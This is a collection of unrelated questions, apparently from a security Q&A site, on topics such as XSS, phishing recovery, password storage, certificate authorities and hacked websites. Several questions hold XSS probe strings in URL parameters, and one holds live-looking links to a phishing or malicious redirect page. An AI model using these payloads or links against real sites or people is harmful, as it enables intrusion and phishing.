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A few days ago I had to make a phone call and on the other end of the line was some machine using some voice recognition software to validate the customers spoken answers to the service menu. I asked myself if it would be possible to fuzz this kind of input with some kind of random generated noise files or such? In the end the software analyzes the customer's voice by some heuristics or some machine learning system or such.
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Lets assume the product is pure software or a blend of software and cheap commodity hardware.
Is there any work showing what the average industry spending is on just the security aspects as a percentage of the total product development costs?
I do see this post but that only talks about estimating absolute $ figures from bottom-up. I'm looking for a relative or % of the total budget figure for a top-down assessment. I understand the range might not be as tight as we'd like
EDIT: We are the developers (SMB, veteran owned), presenting to the customer(s) (US Govt entities) to protect critical infrastructure. Product can be thought of a system running custom software on commodity embedded hardware. There will also be a web-application for the same customer for a similar focus (protect/monitor critical infra), but that's being tracked as a separate product/budget. So also interested in that.
EDIT#2: One can totally argue that the context means the costs are "inherent" or 100%. We got some push back saying "Can be built by gluing A, B and C at $XYZ. That is insecure, we know but why the extra 60% just to make it more secure?"
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This is a bit of a vague question, but it seems relevant these days with the information on all those "mass spying" programs getting leaked. I will describe the scenario and I just want to know if it is possible under current laws (specifically, US laws but I would be interested in laws of other countries also), and if so the likelihood of it already having come to pass:
A major corporation with a major website (let's say Yahoo) receives a notice
that one of their users is under investigation and they are asked to release
all relevant info on said user. Not wanting to cause trouble, they politely
comply and nobody except for the government organization and a few people at the company knows
what took place. Some time goes by and they are contacted again, this time
being told that the user under investigation has taken measures to obscure
his/her identity and they are not able to pinpoint them to any one username.
They are, however, able to tap the user's line and need the website's private
key in order to decrypt that user's traffic. The company hesitantly agrees, the
investigation finishes, and the government organization thanks them for their
help. However, it's not over. The government organization has in their
possession the private key that protects millions of users' data and could pass
it around secretly to other entities. If it were given to another government
organization that had set up the means to intercept data on a mass scale, they
would be able to secretly decrypt all data to and from that website without any
billion-dollar supercomputer.
A few incidents like this, and ALL the private keys for the world's top websites could be collected (and it doesn't seem like a very unlikely scenario to me...) What do you think?
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Ok so consider the scenario in which you have two projects, one is a RESTful API, and the other is a public facing website.
The API uses cookie/token based authentication, and contains all of the logic of your application.
The website is built using a client-side MV* technology, what it can and cannot do is based on the role of the user authenticated by the API.
Hosting the HTML/JS/CSS of the website without introducing a third MVC framework is faster (and cheaper).
For example, you can have your RESTful API (maybe built with Django), and a server serving up HTML/JS/CSS as-is (let's say it's Apache), or a RESTful API and have the website itself using a server side MVC technology (such as .net MVC) which restricts access to the HTML/CSS/JS based on the user role provided by the API.
This will slow things down, but is it more secure? Is it worth the overhead to not allow somebody traversing through your publically available client side code to not be able to see how your admin pages look and what API endpoints they call and how they call them, or is this security through obscurity?
Surely a determined attacker could figure this out anyway by using a tool like fiddler while browsing your public pages and then analyse your API with another tool?
Thanks
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If I have a Bring Your Own Device policy, how can I track whose device belongs to each IP address? Do I need to collect information on all devices that use the WiFi system?
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I am little confused about this matter. By simply writing a JavaScript code we can go through our browser history and identify visited links. It is fine. But how an attacker use this to identify a victim's history. Essentially, the code should have to be executed on the victim's browser.
I know that there are XSS attack methods, persistent, non-persistent, DOM based etc. Should an attacker use one of these methods? Or is there another way? Can anybody give sample code?
Although, here (XSS attacks cross-site scripting exploits and defense-V et al) the attacking method (history stealing) is clear, how an attacker receive the history is not clear..I am interested in how really attacker receives the history in formation gathered from the code.For an example, in cookie stealing it is sent through a url to the attacker.likewise...
Any help is appreciated.
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What are the pros and cons of using xinetd for a web server running on a VPS. Assume the following measures have already been taken to secure the system:
system hardening, latest updates, minimal packages
strick iptables firewall
controlled/limited use of admin privileges
properly configured services
hardened web application
web application firewall
continuous vulnerability assessments
log monitoring
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My Drupal 7.28 site has been hacked through the the tmp dir which was not protected by .htaccess file. The hacker managed to delete the main .htaccess file and upload some bogus google docs 2014 directory with php files to the site. After some work I managed to fix the site by getting rid of the offending php files and replacing the .htaccess files. Everything is fine now except that he/she managed to create a phishing form called gmail_webmail.html which originally comes with Google docs. This form which was originally a file he uploaded and I deleted is still viewable on my site. I don't know how he did it. There is no html file called gmail_webmail.html in the root Drupal directory yet when I go to www.mysite/gmail_webmail.html I get this form which Norton blocks right away. Google also warned me of the existence of this form. It is not a module as far as I can tell. Can anyone help? Thank you in advance.
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My understanding of SElinux context public_content_t is as
public_content_t is required for files shared via a FTP server unless associated with a user home directory
Here is my question
Does user include FTP anonymous user ftp? If I have created a file owned by ftp:ftp and save it to /var/ftp/pub does it mean it is associated with a user account ?
Thanks
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We are running a Portal application for our client with Payment Gateway integrated. Payment gateway uses SSL as it is suppose to be .
The concern for me is that our Portal application does not use HTTPS leaving it susceptible to MITM attacks but since the payment gateway uses SSL , are we still open to MITM attacks? What are the other risks involved ?
Based on the suggestions here , I will try to convince our client to buy a digital certificate from a registering certifying authority if it is needed .
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I read this:
Reveal the True IP of a User
I am using Hola Unblocker to hide my IP address. This appears to work when I go to netflix as the site treats me as a US resident (which I am not).
This however does not work when I go to:
https://www.crashplanpro.com/business/signup.html
They seem to be able to figure I'm not from the US.
I am wondering how they accomplish this? Is there any way to circumvent this method and protect my privacy? Does it matter what type of VPN I'm using?
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One of our co-workers followed a phishing link and entered their Google for Business account credentials. We have reset their password, is there anything else we need to do? (We also used this as a reminder for everyone to enable two factor authentication.)
The mail was also sent in their name to our staff mailing list (in BCC), so I assume it was also sent to other contacts in the address book. The headers indicate it was sent via Gmail, not from an external SMTP server (we have SPF records that only allow Gmail). Can we see who else got this mail, and is it useful to send a warning to them?
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Just curious how this one works in practice and if it's as much of a risk as has been made out? It says you actively require a MiTM scenario, which is understandable, but then what are the steps to actually downgrade the cipher spec?
As a MiTM, if you try and alter the messages between client/server (ie to downgrade the CipherSpec), surely due to the nature of SSL the client would get a notification that the messages aren't from the intended source?
Or does the attacker change the CipherSpec of a client/server for all connections and simply sniff the traffic between them?
Or do you need to combine this with another SSL vulnerability to trick the client into thinking you are the source and therefore it can trust messages between you?
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I was wondering how could my computer that uses a spoofed MAC address be sending probe requests for APs that I was never connected to?
Note:- The other computer with the original MAC address was shut down.
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I have a page on my website like this : domain.com?img=test.jpeg
And on the page, the javascript written is:
var imgPath = getQuerystring('img');
$("#img").attr('src','/Images/' + imgPath);
I was wondering if someone can manipulate the querystring to do something mailicious.
Since the javascript is always appending the path with '/Images/', I hope its not vulnerable.
But then I changed my js code to this:
$("#img").attr('src',imgPath);
Now when I passed a malicious querystring like this:
domain.com?img=alert('XSS')
But whoops, it didnt show me the alert box.
Is this kind of attack taken care of by our Web browsers?
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I just learn about tabnabbing.
Tabnabbing is a computer exploit and phishing attack, which persuades
users to submit their login details and passwords to popular websites
by impersonating those sites and convincing the user that the site is
genuine. [...] The exploit employs scripts to rewrite a page of
average interest with an impersonation of a well-known website, when
left unattended for some time.
It is mentionned that you can detect to which website a user is currently logged in.
How would you proceed to detect is logged in Facebook from another site for example?
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I am considering putting a forward a proposal to use a password database/manager instead of a flat (PGP) encrypted file for managed passwords for our team to access. I would like to hear some suggestions for the pros and cons of doing this. I am personally for using a password database due to the extra user processes involved in using a flat file. For this discussion I would not like to focus on choice of encryption itself as any password manager can match PGP in robustness/speed. To get us started here are some of mine below:
PROS of password database
Does not require decryption, amending and re-encryption of data upon changing or adding a password.
No risk of unencrypted data being written to disk (users could pipe to text-editor). Shredding of file may not be conclusive based on file system used.
Adding/removing of staff requires decryption and re-encryption of data with new split key.
CONS of password database
Perceived or actual lack of compatibility on some platforms.
Potential for no CLI to be supported.
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I want to digitally sign all outbound data from my computer. Can someone suggest a way to do this programatically or using some tool? Instead of actually signing the data, I would simply append a small random string at the end. (It's the same thing as long as website doesn't care about signatures. Unless I am wrong.)
I want to see websites' response to signed data with funky tails when they do not expect it. This is important aspect of an experimental protocol that I am working on. I would like to see if it breaks my internet or the websites simply ignore it. Thanks in advance!!
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The PKI RFC talks about revoking or suspending certificates. It also talks about revoking CA certs. However, I could not find anything about whether a CA or a Sub CA's certificates can be revoked or not in the RFC.
What is common practice. If a CA feels that a subCA is compromised, they may want to suspend the certificate till the time, they confirm that this is true.
Do any of the Commercial Certificate issuing Software allow this?
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I am looking at implementing an authentication module using OAuth 2.0 Client and I am trying to avoid having any server state. I was going thorough a few other questions
when to use nonce?
Is it possible to have stateless server nonces in HTTP Digest
It seems like implementing a nonce requires storing something on the server to ensure that replay attacks do not happen because the request should not occur twice.
However, this is only for authentication/authorization not for form submission data in which case implementing a nonce is easy as I would need to have server state anyway to capture the data.
So the more I look at it, it does not seem to make sense to use a nonce in this use case (except for the login, but that's the Authorization server's problem), the token (encrypted with a secret key that is on the server based on the client_secret of OAuth) I have should be fine to send (until it expires).
Is there something that I may be missing?
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I have retrieved some old pictures/videos (mp4, many types of avi) of some old events that I want to keep, the problem is that these files have been sitting in confirmed infected machine for a very long time, and noone ever bothered to check what type of malware it was they just backed up and nuked it. My question now is what should be done with these files?
To clarify the files had been on both windows machines and linux server which have been confirmed to be rooted.
My desktop is running linux so if you suggest any software please make sure its compatible.
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As far as I know - and please correct me if I'm wrong - Cain does not support WiFi cards. So if an attacker wants to perform ARP poisoning without being connected through Ethernet to the (router\switch) s\he must use an Aircrack adapter.
My question is, if the attacker somehow managed to plug his laptop to the router\switch, will s\he be able to use Cain and perform ARP poisoning and\or network sniffing against wireless clients which are connected to the router through WiFi?
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Can my computer be hacked through my WiFi connection?
If so, how can I detect this?
And what can they access or see? Emails, etc?
Please respond in layman's terms, as I am not a computer pro.
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EFF's Survelliance Self-Defense (SSD) project has an illustration of how email over SMTP goes through intermediate mail exchange servers:
AFAIK each intermediate servers is expected to add its own Received: header to the email so at least the transit is traceable. I'm not sure how easy is to circumvent this. There seems to be plenty related terminology for Message transfer agents, like mail relay, mail server, mail exchanger, and MX host or MTA.
Observing the lack of somehow wide-spread adoption of email privacy measures like GNU Privacy Guard (GPG) with Pretty Good Privacy (PGP) despite available tutorials, it seems safe to assume that there is a significant amount of users who would be concerned about this but are simply unaware of the issue, unsuspecting any "proxy" servers.
A layman's idea of the process of sending emails could compared to that of with the web:
the domain name for the recipient's mail server's host should be resolved to an IP via DNS
a secure connection with TLS (or SSL) should be set up to that IP
the email should be sent to a server on the host on that IP
Now one may be aware that e-mail aliases or identities could be set up, for example where there are multiple domains with email addresses but only a single handler host. foo@bar.org may be handled by foo@foo.org if eg. an organization has multiple domains.
But this doesn't seem to justify transmission of the email body to every single intermediate node. It is not hard to imagine, figuratively speaking, a system where such aliases are resolved before sending the actual body. The mail server on bar.org could tell bah@sender.org that the actual host is on foo.org, before any email body is sent.
edit From a security standpoint this current system seems to be unfortunate. Albeit alternatives like BitMessage seems to exist, this question aims to find out what stands in the way securing the current email infrastructure, and to understand what lead to this system in the first place.
What is the technical or historical rationale that justifies the continuing existence of intermediary mail servers?
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Assuming your code-signing tool is secure (e.g., does not suffer from buffer overflow exploits and the like), is there any reason to be concerned if a time-stamping service is not running over SSL? Obviously, a MITM attack could do slightly annoying things (e.g., provide a bad certificate), but SSL doesn't protect you from such attacks, since a MITM can already cause an SSL timestamp to fail (by blocking the request). Technically, a MITM could also provide a valid certificate under the MITM's control (allowing them to revoke it later).
Are there any realistic concerns when using a timestamping service over HTTP, rather than HTTPS?
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I did check out the previous postings and didnt find what I was looking for- apologies if this is a repetition.
I am working on an analytics engagement for a customer and he needs to share access to his customer sales transactions for me to do my work. The idea was to create a encryption routine whereby details such as SSN and Zip would be anonymized so that I wouldnt have access to PII data. When I present the findings, he needs to have the ability to see the original data back from the garbled text I work with.
From a definition perspective, I understand masking/ obfuscation would hide the details and possibly impact referential integrity. I read on tokenization and believe it is quite a complex model. I am probably missing a nuance here...
I really don't care for the process time for encrypt/ decrypt- that is not relevant and processing cost can be ignored. Just need a way for
SSN : 123-45-6789 to be encrypted consistently to say, A467YuGHT, so I can work unimpeded and the customer is comfortable that no data that he has shared with me violates customer PII. When I submit a report stating that A467YuGHT is a potential churn, he deciphers it back to 123-45-6789 [there are too many such PIIs for me to create alternate identifiers]
I was thinking of a private key(which customer retains) /public key to do this- Am I missing something here? Any open source tool that does this
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the title said it. Is it possible to detect IDS name and version. If server use Snort as IDS, would I be able to detect it from external PC? And if it's possible how?
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After having been a regular code monkey in the US for 6 years now with readily offshoreable skills, I feel like I am fighting an uphill battle against third world wages. While I am not prepared for a drastic career change that will be completely incompatible with my Computer Science background, I was wondering if investing money and resources in getting a degree in Information Security would be worthwhile to get a job that can't easily be offshored.
I would welcome insights from the industry insiders on the level of offshoring that they have witnessed in this industry (in the US) and the barriers-to-entry for someone with an undergrad in Computer Science.
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When you're using tor can't the third parties copy all the data that's going back to your device and decrypt it later, let's say I downloaded some doc files, the data has to come back to your device through your isp servers right. If your government wants your isp to keep copies of all the data packets to be reviewed later can't they just break the encryption later? I'm sorry if this question sounds stupid but I'm still a noob and I'm using tor from a week.
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Taken from Wikipedia, here is the pretext to my question:
A certificate authority (CA) is an organization that stores public
keys and their owners and every party in a communication trusts this
organization (and knows its public key). When the user's web browser
receives the public key from www.bank.example it also receives a
digital signature of the key (with some more information, in a
so-called X.509 certificate). The browser already possesses the public
key of the CA and consequently can verify the signature, trust the
certificate and the public key in it: since www.bank.example uses a
public key that the certification authority certifies, a fake
www.bank.example can only use the same public key. Since the fake
www.bank.example does not know the corresponding private key, it
cannot create the signature needed to verify its authenticity.
I get that certification authorities help thwart man-in-the-middle attacks, but I don't understand the point of spending money to use a certification authority's certificate if browsers just hardcode the CA's public keys to validate it outside of HTTPS communications which seem to be somewhat browser-dependent because...assuming I use RSA encryption with SHA1 and OAEP padding on my server, isn't it just as secure if I:
Generate a secondary private and public key pair
Keep secondary key a secret, write it down somewhere and lock it inside a vault
Always sign my server's primary public key with the secondary private key
Hardcode the secondary public key in my client applications
Use my secondary public key to check if the server is the server they say they are by checking that the public key they issue to me is signed with my secondary private key?
I am thinking of using this model over a TCP socket server where I can specify my own protocol and essentially be my own "browser"...
Essentially, is this all that's behind a CA? That's pretty sad...it honestly feels like a money-grab scam when you can just become your own CA. I mean, if the CA is compromised, browsers need to get patched, keys reissued, etc. If my client application becomes compromised, I don't need to wait while the hole is closed, I can quickly push out a new public/private key pair and send the public key of my pseudo-CA to client applications.
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After reading about writing a secure shuffle algorithm, I realized that my module that generates a password is only as strong as my PRNG, which in this case is Math.random(). I'm confused as to how to replace Math.random() using SJCL's PRNG. What exactly should I be concerned about when generating a secure random value, and more importantly how can I make this more secure (if possible)?
Here's my example:
var sjcl = require('sjcl');
var _ = require('underscore');
var shuffle = function (password) {
var size = password.length;
for (var i = size - 1; i > 0; i--) {
var j = (Math.random() * (i + 1)) | 0;
var temp = password[i];
password[i] = password[j];
password[j] = temp;
}
return password;
};
var generate = function (length) {
var decimals = _.range(33 + (126 + 1));
length = length || 10;
return shuffle(_.map(decimals, function (ascii) {
return String.fromCharCode(ascii);
})).join('').slice(0, length);
};
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http://XXX/?subscribe_message=%3Cscript%3Ealert(/zzz/);%3C/script%3E
Why doesn't that popup with a /zzz/ alert? When I do javascript:alert(/zzz/); in the address bar it does so why not when I do it via the URL? A look at the source code makes me think it /should/ work...
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I'm writing a project to securely store and share passwords between users, I've been doing tons of research into encryption algorithms, CSPRNGs, hashing algorithms, key stretching etc...
I just want to layout my thinking as to how to use all of these, to create the secure application - and hopefully someone(s) can point our flaws or direct me if I'm seeing things wrong:
Hashing
So, first of all, I need to store hashes of account passwords (these are the account that log into the application to view the shared passwords).
After reading around, my understanding is that to make a hash "more secure", you need to use scrypt or bcrypt or pbkdv2. I've found an implementation of these in "CryptSharp" (hopefully this is a secure implementation) - also after further research (http://www.tarsnap.com/scrypt/scrypt.pdf) it looks like scrypt is a more secure way of creating a hash.
Encryption
As the data will be shared between users, I shall need to make sure that the system uses a master encryption key for the entire project, and that this is stored securely.
My thinking here is generate an encryption key and initialization vector (3 of them - I'll explain why) - these will be generated with RNGCryptoServiceProvider, and all 3 will be concatenated into Key1|IV1|Key2|IV2|Key3|IV3 so that they can be split and used with the encryption algorithms.
I need some way of storing this concatenated string of IVs and Keys so after some research I came across Microsoft's Data Protection API (ProtectedMemory.Protect( secret, MemoryProtectionScope.SameLogon )) - my understanding with this, is that the App Pool will need to run under a user account, and "load profile" set to true. The resulting encrypted string will then be stored in an XML setting file.
With regards to encrypting the passwords to be shared, I read about cascading encryption (used in TrueCrypt). The encryption algorithms TrueCrypt uses are AES, TwoFish, and Serpent. I've found an implementation of these (http://www.bouncycastle.org/csharp/ - which again, I hope is a secure implementation). This is where the 3 IVs and Keys will be used; so effectively the data will be encrypted like so: Serpent(TwoFish(AES(data,key1),key2),key3).
Thoughts?
So, these are my ideas to create a secure data storage system; am I over looking something? have I misunderstood something? should I be doing something more?
I appreciate any advice on this.
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How does the 6 digit randomly generated security code from (disconnected) Verisign Identity Protection card help in verification/validation of any user?
Why one cannot enter any random 6 digit value instead of generating that value from VIP card/device?
Is there any fixed pattern of getting those values from that VIP device/card so that the server can verify that number?
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I have a domain with a wildcard SSL certificate (i.e. "*.example.com").
I also develop using WAMP setups, which I would like to be able to test HTTPS on.
There are several tutorials on how to setup a self-signed certificate on a WAMP, but since I already have a wildcard certificate for my domain, I thought I might as well use that and save me a bit of time.
Is it save (security-wise) to create a DNS record "localhost.example.com" pointing to 127.0.0.1 (and 0:0:0:0:0:0:0:1 for IPv6) while using a wildcard SSL certificate for *.example.com?
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Currently I have an "Antivirus" and Anti Malware software installed.
In addition I closed all remote assistance and unused port rules on my firewall.
I'd really like to get a complete as possible solution/guide.
I wanted to know if there is a guide on further securing my machine.
Do you have any suggestions? (IDS? Firewall rules etc...)
Note: I am using Windows 7
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I have an openssh encrypted private key. I don't remember the pass-phrase. I may be able to suggest words or patterns that may be in the phrase.
I am looking for software that will help me recover the key.
I am thinking of a tool that can generate a stream of pass-phrases, based on my hints, a dictionary and some randomness. Then piping this into something like expect and ssh-add.
Can someone tell me what tools are available.
I am running Debian Gnu+Linux.
ps. next I will look at a way to not forget my pass-phrase, and a more secure encryption.
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I am involved in project where I have to install a new server for a new application to a preexisting production network.
The new server shall sit in the DMZ and two controllers will sit on the production network.
The network has one firewall with an extra module for the DMZ. The server application requires many ports to be open to communicate with the outside. But I have been told that I should also open up the ports between the dmz and the production net so that the server can communicate with the 2 controllers(bidirectional communication)
So my question is this. What is the point in having the DMZ if the same ports are open on the firewall. I could understand if there were more open on the dmz to internet side than the dmz to network side, but if they are both the same I cant see what the protection is. Can any tell me if I am wright or wrong about this?
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I'm going to rephrase a question I asked earlier, as I don't think anyone understood what I meant.
Basically, I'm writing a web based password locker, which can handle multiple accounts; users can share passwords (useful if you're in a website company and need to share login details to, for example, 1&1 or Fasthosts).
I've been doing tons of research into encryption algorithms, CSPRNGs, hashing algorithms, and key stretching. I don't want to implement my own encryption or hashing algorithms. Instead, I want to use existing algorithms and apply them in a way that I've understood from my research.
I'm not a cryptographer, so I may have misunderstood something, or something I've read about has actually been found to be insecure, or it was an old way of doing things that something better replaced. I'd like to discuss what the thoughts are about implementing hashing for storing the passwords of user accounts and encryption for storing the login details of websites that users can share.
Hashing
First of all, I need to store hashes of account passwords (these are the accounts that log into the application to view the shared passwords).
After reading around, my understanding is that to make a hash "more secure", you need to use scrypt or bcrypt or pbkdv2. I've found an implementation of these 3 algorithms in CryptSharp. (Hopefully, this is a secure implementation of these algorithms.) After further research, it looks like sCrypt is a more secure way of creating a hash.
Is scrypt a secure way to create a hash of a user's password, or should I use one of the other two? (Maybe sCrypt hasn't been tried and tested as much as the other two.) How can I tell if the implementation of sCrypt in CryptSharp is a good secure implementation?
Encryption
As the data will be shared between users, I shall need to make sure that the system uses a master encryption key for the entire project, and that this is stored securely.
My thinking here is generating an encryption key and initialization vector (3 of them; I'll explain why). These will be generated with RNGCryptoServiceProvider, and they will be concatenated into Key1|IV1|Key2|IV2|Key3|IV3 so that they can be split and used with the encryption algorithms.
I need some way of storing this concatenated string of IVs and Keys. After some research, I came across Microsoft's Data Protection API (ProtectedMemory.Protect(secret, MemoryProtectionScope.SameLogon)). My understanding with this is that the App Pool will need to run under a user account, and "load profile" set to true. The resulting encrypted string will then be stored in an XML setting file.
With regards to encrypting the passwords to be shared, I read about cascading encryption (used in TrueCrypt). The encryption algorithms TrueCrypt uses are; AES, TwoFish, and Serpent. I've found an implementation of these which, again, I hope is a secure implementation. This is where the 3 IVs and Keys will be used; so effectively the data will be encrypted like Serpent(TwoFish(AES(data, key1), key2), key3).
Just to be clear, this is the process flow of encryption within the system:
Upon installation of the system, the system will use RNGCryptoServiceProvider to create 3 encryption keys and 3 IVs.
These 3 keys and IVs will be concatenated into a single string (Key1|IV1|Key2|IV2|Key3|IV3), so I can split them and use them in the 3 encryption algorithms.
This string will then be encrypted using Data Protection API and stored in a settings file.
All shared login detailsare encrypted using "cascading encryption" of Serpent(TwoFish(AES(data, key1), key2), key3). The keys and IVs will be decrypted on-the-fly, instead of being stored in memory.
When it's time to decrypt the shared login details:
The 3 keys and decrypted using DPAPI
Encryption is reversed: AES(TwoFish(Serpent(data, key3), key2), key1)
Is "cascading encryption" still a good idea? Is Data Protection API a good way to encrypt the keys and IVs?
So like I say, I know how to build the entire system and implement my understanding of hashing and encryption above into the system, but is what I've discussed the right way of doing things? Am I over-looking something? Did I misunderstand something? Am I using an old hat way of doing things?
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Some attacks on web browsers consist simply of advertising, so the default homepage of the browser is changed (which is just a small aspect of browser-hijacking).
My question: is installing (malicious) add-ons (via drive-by download attack) the only way to modifiy the browser's homepage?
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How can I use a TPM chip along with the OpenSSL FIPS Object Module without modifying OpenSSL FIPS Object Module (to avoid Private Label certification)?
Should we add an engine interface in OpenSSL module as well in OpenSSL FIPS Object Module?
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The title is really bad, but I was able to find better. I have installed Debian on VMware, and set iptables to block any traffic except port 80 (inbound and outbound). When I run a nmap scan it shows that this port is filtered. Should it be this why or not?
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I have run a port scan against a Thomson 789vn router and have noticed to my surprise that its HTTP as well as telnet and FTP ports are open.
How can one turn off telnet (also FTP) using the router's management interface? Is there a good reason that speaks against doing that?
The product is by now several years old and I have not found the required information in the manual.
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I am currently investigating the architecture of the secure, but user friendly service, which combines storing of sensitive private data together with simple authorization procedure.
The approach is perfectly described in the answer on this question. However it assumes that user enters a password during authorization, which it used to generate a derived key (or keys). In this case, the login/password derived slow hash is checked on the server and in case of success the server-stored individual salt transferred back to client which generates password/salt derived key to decrypt the private data protection key.
Please advice what to use instead of password as the client-specific piece of key, when users authenticate through external 0auth providers like google, facebook, etc.?
A saw this question on the same topic, but, unfortunately, there were no suitable answers. I believe, it is possible to generate some kind of key on client side, but have no idea, how to securely transfer this key to another client device. Maybe it could be good idea to do it via special server, not connected to the main one?
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Some attacks on web browsers consist in installing new toolbars on the browser of the user (which is just a small aspect of browser-hijacking. My question: is installing (malicious) add-ons (via drive-by download attack) the only way to add new toolbars to browsers such as firefox, internet explorer and google chrome ?
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I heard that some credit cards are vulnerable to RFID scanning and thus identity theft. I am concerned about my cards and I would like to learn which cards are vulnerable to such abuse? Are any of these vulnerable too: personal id cards, driving licenses, etc? I see that these might vary in different countries so how do I indentify if a card uses technologies that might be abused liked that?
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I'm having a huge problem with my website due to a weird spike on hits.
Today, i'm getting several hundred hits. Normally, i get a lot less, and they are from me country.
Today's hits are from every country on the map. They are all direct hits (no referral) and they hit my main page. Most of them stay for 0 seconds and then leave. They are not bots and they seem to originate from legitimate IPs. But those users couldn't possibly know the address of my website (and type it on their browser).
This is giving me huge problems, since it causes high CPU usage on my web hosting. So, i have to find a solution fast.
Examples:
78.225.147.100 - - [04/Jul/2014:19:48:23 +0300] "GET / HTTP/1.1" 301 138 "-" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
78.225.147.100 - - [04/Jul/2014:19:48:23 +0300] "GET / HTTP/1.1" 200 21192 "-" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
181.196.13.128 - - [04/Jul/2014:19:50:50 +0300] "GET / HTTP/1.1" 301 138 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
181.196.13.128 - - [04/Jul/2014:19:50:51 +0300] "GET / HTTP/1.1" 200 21192 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
77.105.21.227 - - [04/Jul/2014:20:07:32 +0300] "GET / HTTP/1.1" 301 138 "-" "Mozilla/5.0 (compatible; MSIE 9.11; Windows NT 6.1; Trident/6.0)"
77.105.21.227 - - [04/Jul/2014:20:07:33 +0300] "GET / HTTP/1.1" 200 21192 "-" "Mozilla/5.0 (compatible; MSIE 9.11; Windows NT 6.1; Trident/6.0)"
I believe that it's some kind of malware that has infected thousands of computers and, for some reason, those computers are now hitting my website.
So, any help is appreciated!
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I am needing to run scans from one computer/laptop/device to another computer in a protected system. I am worried that plugging in my scanning computer to the protected computer might cause some risk in that a virus may be transferred.
To reduce the risk I wish to use incompatible architectures, specifically I wish to use an ARM based computer to scan the x64. If both computers use the same type of operating system Windows RT/Windows 7 or a Debian Arm Port with an standard Debian 64-bit have I reduced my chances of transferring a virus in any significant way?
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I am running a webpage for my family with a feature to track users and guests. Since its all just family stuff no one ever visits this server, and I hardly see more than 2-3 of us logged on at the same time. I did however notice today that I suddenly had 16 guests browsing the site, and when checking the logs they were all from the same IP and requesting the same file.
Was this a bot sniffing my website for vulnerabilties?
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I've been playing around with virtual operating systems for some time and began wondering: would it be possible to set up a virus laboratory in a virtual machine? If not, are there other ways that do not require me to go out and get an additional computer?
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About 6 days ago my parents who aren't great with PCs got phished on gmail, and the account started spreading spam.
It had been hacked on an Argentinian IP, and then logged in from IMAP and SMTP from the UK. At the moment it was logged in from the UK, it sent spam out on the gmail contacts briefly.
We changed the password and added 2 step verification. The account has not had any attempted log ins since, and no suspicious activity.
However, since I probably have crazy anxiety problems, I am scared that malware or a virus could have gotten into the machine, however I see no signs.
• I checked msconfig for bad entries
• I scanned with MSE, Mbam, Mbam Anti rookit, Tdsskiller, Spybot, norton 360, kaspersky pure 3.0, norton pe, and it has all come clean, all on full scans.
• I dont see any suspicious activity network wise. (Kaspersky shows 34 ports listening for svchost, 11 for system, is that normal?)
• Nothing seems to be changed, and the pc runs fine.
One of my main reasons I'm worried, is that I believe my own pc was running and connected to the network when my parents got on the phishing link. And the next day it was running and connected, and my parents PC was on too.
I haven't turned my PC on since, and I have been stressing and scanning for Long time now on my parents PC.
I was even thinking about going around with my win7 install disk and formatting all the PCs..
Can anyone shed some light on this? What's the possibility my parents PC got infected? And could it have spread to other PCs?
If it helps, my situation is similar to this Don't understand how my mum's Gmail account was hacked
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Please note that I am new to BitLocker but I was able to set it up on my C drive. After doing this, I breifly searched on the web for ways around BitLocker and came up with two articles, Passware Hard Disk Decryption and This $299 tool is reportedly capable of decrypting BitLocker ... disks in real-time. How can I prevent such attacks like these as ways to bypass BitLocker?
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Are there any protocols equivalent to TLS that are widely used, or the TLS is the most, worldwide used protocol to secure almost all the traffic available in the network?
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Does any one have references or sources on how to approach developing a web application in which the content is encrypted and unreadable for the developers or company owners; I'm referring to content such as legal docs, in which there is a need to keep information confidential for third parties.
The protected data should be the content say of Word docs, some metadata such as author (Lawyer), involved parties and maybe trial type would be searchable and not encrypted but the details and content of the document will be.
It would be visible/decrypt-able by the person (lawyer) who wrote it, by its associates if given permission and by the client (one of the parties in the document).
Ideally the metadata would be extracted and the the content encrypted for subsequent upload and storage
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I'm wondering how secure is to blur face in my photos? Is there any way to re-focus, or re-blur blurred object?
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So I have read up and have a decent understanding of how the crypto works with Elliptic Curve Cryptography. I also think I have an understanding of how signing works with things like Elliptic Curve Digital Signature Algorithm (ECDSA). The certificate and private key on my web server are both 2048 bit RSA keys. Can I only do RSA signatures because that is what my keys are? If I can do things like ECDSA, how is the trust chained from my RSA keys to the ECC keys that are used for signing under ECDSA?
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How could someone change the root password without changing chage -l root Last password change date? I know it was changed because it does not match the value in Keepass. I noticed when I tried to use su from a non-root account. My private key still worked. I updated many packages too if that matters (I had to restart sshd because it was not letting me in). OS is CentOS 6.5, on AWS EC2.
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I'm well aware in the concept of binary malware but I don't fully understand the idea of a script-based (or shell script) malware. I am more interested in the difference especially in how script-based malwares are multi-platform and can work across architectures, as opposed to normal binary malwares.
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Not sure how long this link will be up, but this is the page where users get redirected after trying to read a fake news post in someone timeline.
[WARNING: ACCESS IN A CONTROLLED ENVIRONMENT]
http://yt-news.info/s/?id=qlktvqt46220jr8q6
Here's the link bait as a news on facebook https://facebook.com/290091591171980
What's happening? .pnh files seems to be related with Adobe. And in this case it seems like a visit counter. Not sure if it offers any harm. However, following the the url facebook offers did triggers some anti-virus softwares.
Is this a XSS attack? Or just a simple redirect with this unknown .pnh?
EDIT:
This extension interfaces with http://whos.amung.us. If you use their
widget on your website, the extension gets how many users are on your
website and puts the count in your status bar. To configure this after
it has been installed, open up the addons list from the Firefox menu,
click on this addon, click options, and enter your 8-12 character key
which is found in the html you were given. Ie: the image name, without
the '.png' part, it's pretty self explanatory. Close options, and soon
thereafter your user count will be updated in real time :)
https://addons.mozilla.org/en-US/firefox/addon/whosamungus-users-online-count/
It seems like it's a phishing attempt:
http://viewtubes.info/bebadas/chrome.html
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I am new to the field of crash analysis. I recently, by accident, happened to crash Google Chrome. I do not know the reason as to why the crash really happened. I'd like to know it in depth though.
When the crash happened, there was a Crash report that was generated. I have saved that report in a text file on my system, as I did not know what to do with it at the out start.
Now I have heard people in the info sec world talk about things like, analyzing and reversing a crash dump, fuzzing a crash dump etc. and trying to reproduce the crash.
I am interested in understanding how these things are done and in the first place what they actually are. I need help with resources that can help me understand how to analyze and reproduce a crash etc. I happened to come across: -Chrome: Found a crash, is it a security vulnerability? and Best way to triage crashes found via fuzzing, on Linux? but these resources seemed a bit advance and not very basic. Also googling up gave me some resources of how to analyze a BSOD in Windows, but I could not find anything relevant for Google Chrome Crash Analysis.
